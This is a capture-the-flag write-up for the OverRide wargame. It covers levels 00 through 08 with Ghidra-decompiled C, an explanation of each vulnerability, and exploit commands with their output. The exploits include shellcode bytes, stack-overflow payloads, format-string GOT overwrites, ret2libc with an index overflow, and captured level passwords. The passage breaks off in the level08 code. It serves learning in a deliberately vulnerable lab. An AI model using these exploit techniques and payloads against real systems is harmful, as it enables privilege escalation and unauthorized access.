./level00

```
       ____                  ____  _     __
      / __ \_   _____  _____/ __ \(_)___/ /__
     / / / / | / / _ \/ ___/ /_/ / / __  / _ \
    / /_/ /| |/ /  __/ /  / _, _/ / /_/ /  __/
    \____/ |___/\___/_/  /_/ |_/_/\__,_/\___/

                       Good luck & Have fun

   To start, ssh with level00/level00 on 192.168.xxx.xxx:4242
level00@192.168.xxx.xxx's password: level00

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   /home/users/level00/level00
```

In the home directories of the **users** in the **OverRide** project, each user possesses an **executable file** formatted as **ELF 32-bit** or **64-bit**. To transfer these files to our local system, we consistently utilized the **scp** command with the following syntax:

```
scp -P 4242 user@192.168.xxx.xxx:filename localfilename
```

We decompiled each file with ***Ghidra***. Given that the direct translation from **assembly** can be nebulous at times, we took the liberty of renaming variables and making slight code adjustments for better readability.

In the different levels of the project, every time we establish an **SSH** connection to a **levelx** user, the terminal presents us with a comprehensive list of security protections:

RELRO: Ensures certain memory sections, including the Global Offset Table, are read-only post program initialization, making overwrites tough.

STACK CANARY: any small random value placed on the stack to detect buffer overflows. If a buffer overflow occurs, the canary value will likely be overwritten

NX (No-eXecute): A CPU feature that designates memory areas as non-executable, hindering exploits relying on executing code from these regions.

PIE: Allows executables to operate at various memory addresses, enhancing memory unpredictability when paired with ASLR.

RPATH/RUNPATH: ELF binary attributes dictating dynamic library search paths. Misconfigurations can lead to library hijacking.

```c
int main(void)
{
    int inputValue;

    puts("***********************************");
    puts("*           -Level00 -            *");
    puts("***********************************");
    printf("Password: ");

    scanf("%d", &inputValue);

    if (inputValue != 0x149c) // 5276
    {
        puts("\nInvalid Password!");
    }
    else
    {
        puts("\nAuthenticated!");
        system("/bin/sh");
    }

    return inputValue != 0x149c;
}
```

To successfully enter the conditional **if** statement in the code, the program must receive 5276 as input. If this condition is met, the program spawns a **shell** that allows us to operate as user **level01**.

```
level00@OverRide:~$ {
    python -c 'print("5276")';
    cat <<< "cd ../level01 && cat .pass";
} | ./level00

***********************************
*           -Level00 -            *
***********************************
Password:
Authenticated!
uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL

level00@OverRide:~$ su level01
Password: uSq2ehEGT6c9S24zbshexZQBXUGrncxn5sD5QfGL

level01@OverRide:~$
```

./level01

```
RELRO          STACK CANARY     NX            PIE        RPATH      RUNPATH      FILE
Partial RELRO  No canary found  NX disabled   No PIE     No RPATH   No RUNPATH   /home/users/level01/level01

level01@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
char a_user_name[100];

int verify_user_name(void)
{
    puts("verifying username....\n");
    return strncmp(a_user_name, "dat_wil", 7);
}

int verify_user_pass(char *passwordInput)
{
    return strncmp(passwordInput, "admin", 5);
}

int main(void)
{
    char passwordInput[64] = {0};
    int result;

    puts("********* ADMIN LOGIN PROMPT *********\n");
    printf("Enter Username: ");
    fgets(a_user_name, 0x100, stdin);

    result = verify_user_name();
    if (result == 0)
    {
        puts("Enter Password: \n");
        fgets(passwordInput, 100, stdin);

        result = verify_user_pass(passwordInput);
        if (result == 0 || result != 0)
        {
            puts("nope, incorrect password...\n");
            return EXIT_FAILURE;
        }
        else
            return EXIT_SUCCESS;
    }
    else
    {
        puts("nope, incorrect username...\n");
        return EXIT_FAILURE;
    }
}
```

This **program** is a mimic of an **admin login prompt**.

It compares the username input to **dat_wil** and the password to **admin**. However, due to a logical flaw in the code, even if the **password** is correct, the program will incorrectly inform the user that the **password** is incorrect.

This is because the condition in the **if** statement **if (result == 0 || result != 0)** will always be true. Therefore, the program will always output **nope, incorrect password...** even for the correct password.

One of the strategies that come to mind is the deployment of a **shellcode**, akin to tactics employed in the **Rainfall** project. This method involves placing both the correct username **dat_wil** and the **shellcode** within the **a_user_name** global variable, which is at the address 0x0804a040.

For the **password**, the goal is to cause a *buffer overflow* to **overwrite** the **return address** of the main function, redirecting it to our **shellcode** which would then execute starting from the address 0x0804Aa47 (0x0804a040 + 7 as the username **dat_wil** has a length of 7 bytes).

```
level01@OverRide:~$ gdb ./level02

(gdb) run
Starting program: /home/users/level01/level01
********* ADMIN LOGIN PROMPT *********
Enter Username: dat_wil
verifying username....

Enter Password:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8...Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
nope, incorrect password...

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? () << offset = 80

level01@OverRide:~$ {
python -c 'print("dat_wil\x31\xc9\xf7\xe1\x51\x68\...\xe3\xb0\x0b\xcd\x80")';
python -c 'print ("A"*80 + "\x47\xa0\x04\x08")';
cat <<< "cd ../level02 && cat .pass";
} | ./level01

********* ADMIN LOGIN PROMPT *********
Enter Username: verifying username....

Enter Password:
nope, incorrect password...

PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv

level01@OverRide:~$ su level02
Password: PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv

level02@OverRide:~$
```

./level02

```
RELRO       STACK CANARY     NX            PIE      RPATH     RUNPATH     FILE
No RELRO    No canary found  NX disabled   No PIE   No RPATH  No RUNPATH  /home/user/level02/level02

level02@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
int main(void)
{
    char username[100] = {0};
    char inputPassword[100] = {0};
    char realPassword[41] = {0};
    int bytesRead = 0;
    FILE *passwordFile = NULL;

    passwordFile = fopen("/home/users/level03/.pass", "r");
    if (passwordFile == NULL)
    {
        fwrite("ERROR: failed to open password file\n", 1, 36, stderr);
        exit(EXIT_FAILURE);
    }

    bytesRead = fread(realPassword, 1, 41, passwordFile);
    realPassword[strcspn(realPassword, "\n")] = '\0';
    if (bytesRead != 41)
    {
        fwrite("ERROR: failed to read password file\n", 1, 36, stderr);
        exit(EXIT_FAILURE);
    }
    fclose(passwordFile);

    puts("| You must login to access this system. |");
    printf("--[ Username: ");
    fgets(username, 100, stdin);
    username[strcspn(username, "\n")] = '\0';

    printf("--[ Password: ");
    fgets(inputPassword, 100, stdin);
    inputPassword[strcspn(inputPassword, "\n")] = '\0';
    puts("*****************************************");

    if (!strncmp(realPassword, inputPassword, 41))
    {
        printf("Greetings, %s!\n", username);
        system("/bin/sh");
    }
    else
    {
        printf(username);
        puts(" does not have access!");
        exit(EXIT_FAILURE);
    }

    return EXIT_SUCCESS;
}
```

In this challenge, we are presented with a straightforward program that opens the **level03 .pass** file, reads its contents, and then stores this data into a **buffer**. The program subsequently prompts the **user** for a **username** and **password**. If the provided **password** matches the one stored in the file, access to the **shell** is granted.

At first glance, the expected solution might seem to involve a *buffer overflow*.
However, the use of **strncmp** function effectively curtails any straightforward overflow exploitation.

On closer inspection, we noticed that the content of the **.pass** file is read and stored on the stack. Furthermore, the program has an unprotected **printf** function. This becomes our potential point of exploitation.

Using the **%p** format specifier with **printf**, we can disclose **memory addresses**. By leveraging this capability, we managed to expose the contents of the **stack**, which includes the **password**. Due to the **little-endian** memory storage, we had to reverse the exposed data to decipher the actual **password**, successfully bypassing the authentication mechanism.

```
level02@OverRide:~$ python -c "print 'AAAAAAAAA' + '%p'*28" | ./level02
[ Secure Access System v1.0 ] =====
/***************************************\
| You must login to access this system. |
\**************************************/
--[ Username: --[ Password: *****************************************
AAAAAAAAA0x7fffffffe500(nil)(nil)0x2a2a2a2a2a2a2a2a0x2a2a2a2a2a2a2a2a
0x7fffffffe6f80x1f7ff9a08(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)
(nil)(nil)0x100000000(nil)0x756e5052343768480x45414a35617339510x377a7143574e6758
0x354a35686e4758730x48336750664b394d(nil)0x4141414141414141 does not have access!

756e505234376848     unPR47hH    Hh74RPnu
45414a3561733951     EAJ5as9Q    Q9sa5JAE
377a7143574e6758     7zqCWNgX    XgNWCqz7
354a35686e475873     5J5hnGXs    sXGnh5J5
48336750664b394d     H3gPfK9M    M9KfPg3H

level02@OverRide:~$ su level03
Password: Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H

level03@OverRide:~$
```

./level03

```
RELRO          STACK CANARY   NX           PIE      RPATH      RUNPATH      FILE
Partial RELRO  Canary found   NX enabled   No PIE   No RPATH   No RUNPATH   /home/user/level03/level03

level03@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
void decrypt(int key)
{
    char cipher[21] = "Q}|u`sfg~sf{}|a3";
    size_t len = strlen(cipher);

    for (size_t i = 0; i < len; i++)
        cipher[i] ^= key;

    if (!strcmp(cipher, "Congratulations!"))
        system("/bin/sh");
    else
        puts("Invalid Password!");
}

void test(int arg1, int arg2)
{
    int diff = arg2 - arg1;

    if ((diff > 0 && diff < 22))
        decrypt(diff);
    else
    {
        int randomValue = rand();
        decrypt(randomValue);
    }
}

int main(void)
{
    int userInput;
    srand((unsigned)time(NULL));

    puts("***********************************");
    puts("*               level03         **");
    puts("***********************************");
    printf("\nPassword:");
    scanf("%d", &userInput);
    test(userInput, 0x1337d00d);
    return EXIT_SUCCESS;
}
```

This **C program** is a simple **password checker** that uses a cryptographic **XOR operation** for validation. It begins by asking for an integer password from the user. Internally, it takes the user input and calculates the difference from the **hexadecimal** constant 0x1337d00d. This difference is then used as a **key** to decrypt a hardcoded cipher text.

The valid range for the **key** is limited, as indicated by the **conditional checks** in the program: it must be between 1 and 21, inclusive.
If the difference doesn't fall within these ranges, the program will use a **random value** as the **key**, which typically results in decryption failure and an **Invalid Password!** message.

The decryption process involves a **bitwise XOR operation** (exclusive OR), a simple bitwise operation that gives 0 if the bits are the same, and it gives 1 if the bits are different.

The encrypted string in the program is **Q}|u`sfg~sf{}|a3**. If, after being **XOR**ed with the **key**, it matches **Congratulations!**, the program opens a system **shell**.

To **crack** the program, we need to *reverse-engineer* the **key** from the known **plaintext** and the **encrypted** string. By **XOR**ing these two strings, we obtain the **key**:

```
Q        }        |        u        ...  }        |        a        3
01010001 01111101 01111100 01110101      01111101 01111100 01100001 00110011
C        o        n        g        ...  o        n        s        !
01000011 01101111 01101110 01100111      01101111 01101110 01110011 00100001
-----------------------------------------------------------------------------
00010010 00010010 00010010 00010010      00010010 00010010 00010010 00010010
```

The key is 10010_2 (12_{16}) and can then be used to find the correct password: it's the number that, when subtracted from 0x1337d00d, yields the key.

```
level03@OverRide:~$ {
    python -c 'print str(0x1337d00d - 0x12)';
    echo "cd ../level04 && cat .pass";
} | ./level03

***********************************
*               level03         **
***********************************
kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf

level03@OverRide:~$ su level04
Password: kgv3tkEb9h2mLkRsPkXRfc2mHbjMxQzvb2FrgKkf

level04@OverRide:~$
```

./level04

```
RELRO           STACK CANARY     NX           PIE         RPATH      RUNPATH      FILE
Partial RELRO   No canary found  NX disabled  No PIE      No RPATH   No RUNPATH   /home/user/level04/level04

level04@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
int main(void)
{
    pid_t child = fork();
    char buffer[128] = {0};
    int syscall = 0;
    int status = 0;

    if (child == 0)
    {
        prctl(PR_SET_PDEATHSIG, SIGHUP);
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        puts("just give me some shellcode, k");
        gets(buffer);
    }
    else
    {
        while (1)
        {
            wait(&status);
            if (WIFEXITED(status) || WIFSIGNALED(status))
            {
                puts("child is exiting...");
                break;
            }

            syscall = ptrace(PTRACE_PEEKUSER, child, 4 * ORIG_EAX, NULL);

            if (syscall == 11)
            {
                printf("no exec() for you\n");
                kill(child, SIGKILL);
                break;
            }
        }
    }

    return EXIT_SUCCESS;
}
```

This **program** establishes a simple debugging environment that prevents the execution of the **exec() system call** within a **child** process.

It employs the **ptrace** system call to **trace system call** invocations by the child. When the child process attempts to execute **exec()**, which is identified by the **syscall** 11, the parent process terminates the child. This effectively prevents the typical exploitation technique where **shellcode** would use **exec()** to spawn a **shell**, thus mitigating a common **security threat**.

However, the program's security measures are focused narrowly on the **exec()** system call. It does not account for other system calls, for example the child process is still capable of using the **chmod()** system call to change file permissions.
We can exploit this to alter permissions of the **level05 home folder**.

To achieve this, we'll craft a **shellcode**—derived from our **assembly** program—that, when injected, will change the **level05** directory's access rights:

```asm
section.text
    global _start

_start:
    xor eax, eax
    push eax
    push 0x35306c65             ; el05
    push 0x76656c2f             ; /lev
    push 0x73726573             ; sers
    push 0x752f656d             ; me/u
    push 0x6f682f2f             ; //ho

    mov ebx, esp                ; EBX now points to the start of the string
    mov al, 0x0f                ; Load the syscall number for 'chmod' (15) into AL
    mov cx, 777o                ; Move the octal value 777 (rwx for all)
    int 0x80

    mov al, 1                   ; Syscall number for exit
    xor ebx, ebx                ; Return 0
    int 0x80
```

We assemble the code with **nasm** and link it with **ld**:

```
$ nasm -f elf32 chmod.asm -o chmod.o && ld -m elf_i386 -o chmod chmod.o
$ objdump -d chmod | grep -Po '\s\K[\da-f]{2}(?=\s)' | tr -d '\n' | sed 's/\
([0-9a-f]\{2\}\)/\\x\1/g' | sed 's/^/"/' | sed 's/$/"/'

"\x31\xc0\x50\x68\x65\x6c\x30\x35\x68\x2f\x6c\x65\x76\x68\x73\x65\x72\x73\x68\
x6d\x65\x2f\x75\x68\x2f\x2f\x68\x6f\x89\xe3\xb0\x0f\x66\xb9\xff\x01\xcd\x80\
xb0\x01\x31\xdb\xcd\x80"
```

With our **shellcode** ready, we'll exploit the vulnerable **gets(buffer)** function to trigger a *buffer overflow*, thereby overwriting the **main** function's **return address** to redirect execution flow to our **shellcode's** entry point. With the help of **gdb**, we'll determine the buffer's starting position and the correct offset:

```
level04@OverRide:~$ exec env - gdb -ex 'unset env LINES' -ex 'unset env
COLUMNS' --args ./level04
(gdb) set follow-fork-mode child
(gdb) b gets
Breakpoint 1 at 0x80484b0
(gdb) run
Starting program: /home/users/level04/level04
[New process 1917]
Give me some shellcode, k
[Switching to process 2044]

Breakpoint 1, 0xf7e91e30 in gets () from /lib32/libc.so.6
(gdb) p/x $eax
$1 = 0xffffdda0 << buffer[128]
(gdb) c
Continuing.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1...f4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 1917]
0x41326641 in ?? () << offset = 156

level04@OverRide:~$ {
python -c '
shellcode="\x31\xc0\x50\x68\x65\x6c\x30\x35\x68\x2f\x6c\x65\x76\x68\x73\x65\
x72\x73\x68\x6d\x65\x2f\x75\x68\x2f\x2f\x68\x6f\x89\xe3\xb0\x0f\x66\xb9\xff\
x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
print(shellcode + "A" * (156 - len(shellcode)) + "\xa0\xdd\xff\xff")'
} | env - PWD=$PWD ~/level04 &&
cat /home/users/level05/.pass

Give me some shellcode, k
child is exiting...
3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN

level04@OverRide:~$ su level05
Password: 3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN

level05@OverRide:~$
```

./level05

```
RELRO       STACK CANARY     NX           PIE       RPATH     RUNPATH     FILE
No RELRO    No canary found  NX disabled  No PIE    No RPATH  No RUNPATH  /home/user/level05/level05

level05@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
int main(void)
{
    int i = 0;
    char buffer[100];

    fgets(buffer, 100, stdin);

    int len = strlen(buffer);
    for (i = 0; i < len; i++)
        if (buffer[i] >= 'A' && buffer[i] <= 'Z')
            buffer[i] = buffer[i] ^ 0x20;

    printf(buffer);
    exit(EXIT_SUCCESS);
}
```

This level shares similarities with some levels from the **Rainfall** project, exploiting a vulnerability with **printf(buffer)**.
Directly changing the return address of the **main** function isn't feasible due to the use of **exit()** rather than **return**, and **fgets()** prevents *buffer overflows*.

The objective is to reroute the **exit** function call to execute our **shellcode**, which will be placed in an environment variable, and not in the **buffer**, because it is sanitised to lower case, which would break our shellcode.

This can be accomplished by targeting the **Global Offset Table (GOT)**, which holds the addresses of dynamically linked functions. By modifying the **GOT** entry for **exit**, we can make it point to our **shellcode**.

Using **Ghidra**, we found the **GOT** entry for **exit** as:

```
080497e0     0c a0 04 08      addr     <EXTERNAL>::exit
```

To ascertain the address of the **shellcode**, we will use **gdb** with a cleared *environment* to avoid any discrepancies that may arise from **environmental variables**:

```
level05@OverRide:~$ export SHELLCODE=$(python -c 'print "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')

level05@OverRide:~$ exec env - SHELLCODE=$SHELLCODE gdb -ex 'unset env LINES' -ex 'unset env COLUMNS' --args ./level05
(gdb) break main
Breakpoint 1 at 0x8048449
(gdb) run
Starting program: /home/users/level05/level05

Breakpoint 1, 0x08048449 in main ()
(gdb) x/s *((char **) environ+1)
0xffffdfbc:      "SHELLCODE=1\311\367\341Qh//shh/bin\211\343\260\v\315\200"
```

The beginning of our **shellcode** is positioned 10 bytes ahead of 0xffffdfbc to account for the length of the string **"SHELLCODE="**, resulting in the starting address being **0xffffdfc6**.

Due to the limitations of using a **printf width specifier** to write such large number directly, we must split the task into two smaller operations. We'll employ the **%hn** specifier to write two separate **16-bit integers**. We aim to write the value 57286 (0x**dfc6**) to the lower part of the **exit GOT address** (0x080497e0) and the value 65535 (0x**ffff**) to the higher part (0x080497e0 + 2), due to the little-endian byte order.

Using the **%x** format specifier with **printf**, we can find the starting position of the **printf** buffer in the **stack**, where we'll put the two halves of the **GOT** address for the **exit** function.

```
level05@OverRide:~$ ./level05 <<< $(python -c 'print "AAAABBBB" + "%x "*11')

aaaabbbb64 f7fcfac0 f7ec3af9 ffffd6ef ffffd6ee 0 ffffffff ffffd774 f7fdb000
61616161   62626262
```

The first and second parts of the **GOT** address for the **exit** function will respectively correspond to the 10th and 11th addresses on the stack.

```
level05@OverRide:~$ {
python -c '
writeLo = 0xdfc6
writeHi = 0xffff

GOTaddrLo = "\x08\x04\x97\xe0"[::-1]
GOTaddrHi = "\x08\x04\x97\xe2"[::-1]

paddingLo = writeLo - len(GOTaddrLo + GOTaddrHi)
paddingHi = writeHi - writeLo

print GOTaddrLo + GOTaddrHi + "%{}x%10$hn%{}x%11$hn".format(paddingLo, paddingHi)';
echo "cd ../level06 && cat .pass";
} | env - PWD=$PWD SHELLCODE=$SHELLCODE ~/level05

...

7fcfac0
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq

level05@OverRide:~$ su level05
Password: h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq

level06@OverRide:~$
```

./level06

```
RELRO           STACK CANARY    NX          PIE         RPATH     RUNPATH     FILE
Partial RELRO   Canary found    NX enabled  No PIE      No RPATH  No RUNPATH  /home/user/level06/level06

level06@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
int auth(char *username, unsigned int serial)
{
    username[strcspn(username, "\n")] = '\0';
    size_t len = strnlen(username, 32);

    if (len < 6)
        return 1;

    if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1)
    {
        puts("\x1b[32m.---------------------------.");
        puts("\x1b[31m| !! TAMPERING DETECTED !!  |");
        puts("\x1b[32m\'---------------------------\'");
        return 1;
    }

    unsigned int checksum = (username[3] ^ 0x1337) + 0x5eeded;
    for (int i = 0; i < len; i++)
    {
        if (username[i] < ' ')
            return 1;
        checksum += (username[i] ^ checksum) % 0x539;
    }

    if (serial != checksum)
        return 1;
    return 0;
}

int main(void)
{
    unsigned int serial;
    char username[32];

    puts("***********************************");
    puts("*               level06           *");
    puts("***********************************");
    printf("-> Enter Login: ");
    fgets(username, 32, stdin);

    puts("***********************************");
    puts("***** NEW ACCOUNT DETECTED ********");
    puts("***********************************");
    printf("-> Enter Serial: ");
    scanf("%u", &serial);

    int ret = auth(username, serial);
    if (ret == 0)
    {
        puts("Authenticated!");
        system("/bin/sh");
    }

    return ret != 0;
}
```

This **program** is designed as a simple authentication system that uses a **username** and a **serial number** to validate a user and then attempts to authenticate them based on certain criteria:

Firstly, the program removes any newline character from the end of the **username** and checks that it is at least six characters long. If the **username** is too short, the **authentication** fails.

Next, the program uses the **ptrace** system call with the PTRACE_TRACEME flag. This is a common way to detect if a program is being debugged; if it is, the program prints a tampering detection message and fails the authentication.

For the actual authentication, the program calculates a **checksum** from the **username**.
The program initializes a checksum by **XOR**-ing the third character of the username with 0x1337 and adding 0x5eeded to it. It then iterates over each character in the **username**, confirming it's printable, and for each character, it **XOR**s it with the **checksum**, takes the result modulo 0x539, and adds it to the checksum.

The **authentication** is successful if the final **checksum** matches the **serial number** provided by the user, at which point the program acknowledges the successful login and grants **shell** access.

To crack this program, we simply need to **replicate** the checksum calculation using a chosen **username** to generate a matching **serial number** for **authentication**:

```c
#include <stdio.h>
#include <string.h>

int main(int ac, char **av)
{
    size_t len = strlen(av[1]);
    unsigned int checksum = (av[1][3] ^ 0x1337) + 0x5eeded;
    for (int i = 0; i < len; i++)
    {
        if (av[1][i] < ' ')
            return 1;
        checksum += (av[1][i] ^ checksum) % 0x539;
    }

    printf("%u\n", checksum);
}
```

```
level06@OverRide:~$ ({
    echo '#include <stdio.h>
          #include <string.h>

          int main(int ac, char **av)
          {
              size_t len = strlen(av[1]);
              unsigned int checksum = (av[1][3] ^ 0x1337) + 0x5eeded;
              for (int i = 0; i < len; i++)
              {
                  if (av[1][i] < 32)
                      return 1;
                  checksum += (av[1][i] ^ checksum) % 0x539;
              }

              printf("%u\n", checksum);
          }' > /tmp/findsum.c;
    gcc -std=c99 -o /tmp/findsum /tmp/findsum.c;
    export username="$USER";
    export serial=$(/tmp/findsum $username);
    echo $username;
    echo $serial;
    sleep 0.1;
    echo "cd ../level07 && cat .pass && exit";
    rm -rf /tmp/findsum.c /tmp/findsum;
} | ~/level06)

***********************************
*               level06           *
***********************************
-> Enter Login: ***********************************
***** NEW ACCOUNT DETECTED ********
***********************************
-> Enter Serial: Authenticated!

GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8

level06@OverRide:~$ su level07
Password: GbcPDRgsFK77LNnnuh7QyFYA2942Gp8yKj9KrWD8

level07@OverRide:~$
```

./level07

```
RELRO           STACK CANARY    NX            PIE       RPATH      RUNPATH      FILE
Partial RELRO   Canary found    NX disabled   No PIE    No RPATH   No RUNPATH   /home/user/level07/level07

level07@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
int store_number(unsigned int *data)
{
    printf(" Number: ");
    unsigned int input = get_unum();
    printf(" Index: ");
    unsigned int index = get_unum();

    if (index % 3 == 0 || (input >> 0x18) == 0xb7)
    {
        puts(" *** ERROR! ***");
        puts("   This index is reserved for wil!");
        puts(" *** ERROR! ***");
        return 1;
    }

    data[index] = input;
    return 0;
}

int read_number(unsigned int *data)
{
    printf(" Index: ");
    unsigned int index = get_unum();
    printf(" Number at data[%u] is %u\n", index, data[index]);
    return 0;
}

int main(int argc, char **argv, char **envp)
{
    char command[20] = {0};
    unsigned int data[100] = {0};
    int ret;

    for (int i = 0; envp[i] != NULL; i++)
        memset(envp[i], 0, strlen(envp[i]));
    for (int i = 0; argv[i] != NULL; i++)
        memset(argv[i], 0, strlen(argv[i]));

    puts("----------------------------------------------------");
    puts("  Welcome to wil's crappy number storage service!   ");
    puts("----------------------------------------------------");
    puts(" Commands:                                          ");
    puts("    store - store a number into the data storage    ");
    puts("    read  - read a number from the data storage     ");
    puts("    quit  - exit the program                        ");
    puts("----------------------------------------------------");
    puts("   wil has reserved some storage :>                 ");
    puts("----------------------------------------------------");

    while (1)
    {
        printf("Input command: ");
        fgets(command, sizeof(command), stdin);
        command[strcspn(command, "\n")] = '\0';

        if (!strncmp(command, "store", 5))
            ret = store_number(data);
        else if (!strncmp(command, "read", 4))
            ret = read_number(data);
        else if (!strncmp(command, "quit", 4))
            break;

        if (ret)
            printf(" Failed to do %s command\n", command);
        else
            printf(" Completed %s command successfully\n", command);

        memset(command, 0, sizeof(command));
    }
    return EXIT_SUCCESS;
}
```

This **C program** presents a basic number storage service that allows users to store and read unsigned integer values into an array. The **main** loop offers an interactive shell-like interface where users input commands to **store**, **read**, or **quit**.

The **store_number** function captures a **number** and an **index** from the user, but it implements a security check to prevent certain values from being stored: an index divisible by 3 or a number with a significant byte of **0xb7** is considered reserved and triggers an error.

In the **read_number** function, users can retrieve a value from the array by providing its index.
Upon start-up, the program clears the **environment variables** and **command-line arguments**, as a security measure to prevent unintended data leakage.

After an extensive period of research and iterative testing, we discovered a viable **exploit**: the **vulnerability** lies in the program's failure to validate whether the user-supplied **index** is within the bounds of the data array. This oversight enables us to cause a *buffer overflow* in the **main** function, potentially allowing for arbitrary code execution.

In the context of the **exploit**, we use a technique known as **return-to-libc** (**ret2libc**).
This method involves overwriting the stack's **return address** with the address of a library function (in this case, **system**) that we wish to execute, followed by its return address, and finally its argument (**/bin/sh**)

To achieve this exploit, memory will have to look like this:
[offset to reach overflow] [system() address] [return address] ["/bin/sh" address]

Now, let's look at the program's stack layout:

0xffffdc50	08 04 8d 4b	00 00 00 00	00 00 00 17	f7 fd c7 14
0xffffdc60	00 00 00 00	ff ff ff ff	ff ff de e0	ff ff de d8
0xffffdc70	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffdc80	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffdc90	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffdca0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffdcb0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
...	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffddf0	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffde00	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00
0xffffde10	00 00 00 00	00 00 00 00	00 00 00 00	e3 9e 09 00
0xffffde20	f7 fe b6 20	00 00 00 00	08 04 8a 09	f7 fc ef f4
0xffffde30	00 00 00 00	00 00 00 00	00 00 00 00	f7 e4 55 13
0xffffde40	00 00 00 01	ff ff de d4	ff ff de dc	f7 fd 30 00

data[100]
command[20]
return address

Our **input buffer** starts at a lower memory address 0xffffdc74 and the **return address** is at a higher memory address 0xffffde3c. The difference between these two addresses is 456 bytes, which corresponds to 114 indices in the **data** array because each **unsigned int** is 4 bytes.

So, at index 114 we want to put the **system()** address and at index 116 the **/bin/sh** address.
We're not concerned with what goes into index 115, which would typically be used for the **return address** in a **system()** call, because it's not necessary for this exploit to succeed.

To determine the specific addresses required for the **exploit**, we use the **gdb**:

```
(gdb) find __libc_start_main,+999999999,"/bin/sh"
0xf7f897ec
(gdb) p system
$1 = 0xf7e6aed0 <system>
```

So we want to insert 0xf7e6aed0 (4160264172_{10}) at index 114 and 0xf7f897ec (4160264172_{10}) at index 116.
The problem is that 114 divisible by 3, so we won't be able to pass the security check.

We can bypass that using a **integer overflow vurnerability**, finding a number not divisible by 3, that when multiplied by 4 gives us the 456 bytes (equivalent to the 114 **unsigned ints**) needed to reach the return address.

Both **UINT_MAX½** (2^{31}) and **UINT_MAX¼** (2^{30}) multiplyed by 4, exceed the *unsigned int32* upper bound of 2^{32}. Overflow takes into account the less significant digits; hence by adding 114 to these values, yielding 2147483762 and 1073741938 respectively, and then multiplying by 4, both yield a residue of 456.

1.073.741.938 **in binary**

```
+/-
    0 1 0 0 | 0 0 0 0 | 0 0 0 0 | 0 0 0 0 | 0 0 0 0 | 0 0 0 0 | 0 1 1 1 | 0 0 1 0
2ⁿ  31                                     15                                    0
```

4.294.967.752 **in binary**

```
0 0 0 0 | 0 0 0 0 | 0 0 0 0 | 0 0 0 0 | 0 0 0 0 | 0 0 0 1 | 1 1 0 0 | 1 0 0 0
31                                     15                                    0
```

Having bypassed the initial *if* condition, we can now crack the program, causing the **shell** to spawn.

```
level07@RainFall:~$ {
python -c '
bin_sh = int("0xf7f897ec", 16)
system = int("0xf7e6aed0", 16)
offset = (2 << 30) + 114
commands = "\n".join(["store", str(bin_sh), "116", "store", str(system), str(offset), "quit"])
print(commands)';
echo "cd ../level08 && cat .pass";
} | ./level07

Input command:  Number:  Index:  Completed store command successfully
Input command:  Number:  Index:  Completed store command successfully

7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC

level07@RainFall:~$ su level08
Password: 7WJ6jFBzrcjEYXudxnM3kdW7n3qyxR6tk2xGrkSC

level08@RainFall:~$
```

./level08

```
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX disabled   No PIE          No RPATH   No RUNPATH   /home/user/level08/level08

level08@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
void log_wrapper(FILE *log_file, char *message, char *filename)
{
    char log_buffer[255] = {0};

    strcpy(log_buffer, message);
    snprintf(log_buffer + strlen(log_buffer), 255 - strlen(log_buffer) - 1, filename);
    log_buffer[strcspn(log_buffer, "\n")] = '\0';
    fprintf(log_file, "LOG: %s\n", log_buffer);
}

int main(int argc, char **argv)
{
    char backup_path[100] = "./backups/";
    FILE *log_file, *source;
    int target;

    if (argc != 2)
        printf("Usage: %s filename\n", argv[0]);

    log_file = fopen("./backups/.log", "w");
    if (log_file == NULL)
    {
        printf("ERROR: Failed to open %s\n", "./backups/.log");
        exit(EXIT_FAILURE);
    }

    log_wrapper(log_file, "Starting back up: ", argv[1]);

    source = fopen(argv[1], "r");
    if (source == NULL)
    {
        printf("ERROR: Failed to open %s\n", argv[1]);
        exit(EXIT_FAILURE);
    }

    strncat(backup_path, argv[1], 100 - strlen(backup_path) - 1);
    target = open(backup_path, O_WRONLY | O_CREAT | O_EXCL, 0600);
